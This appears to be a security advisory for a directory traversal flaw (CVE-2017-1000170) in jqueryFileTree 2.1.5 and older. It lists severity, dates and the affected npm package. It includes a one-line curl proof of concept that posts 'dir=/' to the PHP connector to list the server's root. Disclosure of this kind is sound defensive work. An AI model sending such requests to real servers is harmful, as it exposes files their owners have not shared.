GHSA-p739-9479-5wr2HighCVSS 7.5

jqueryFileTree vulnerable to Directory Traversal

Published
May 13, 2022
Last Modified
April 22, 2024

🔗 CVE IDs covered (1)

CVE-2017-1000170 →

📋 Description

jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal

POC:

curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/"

🎯 Affected products1

  • npm/jqueryfiletree:<= 2.1.5

🔗 References (4)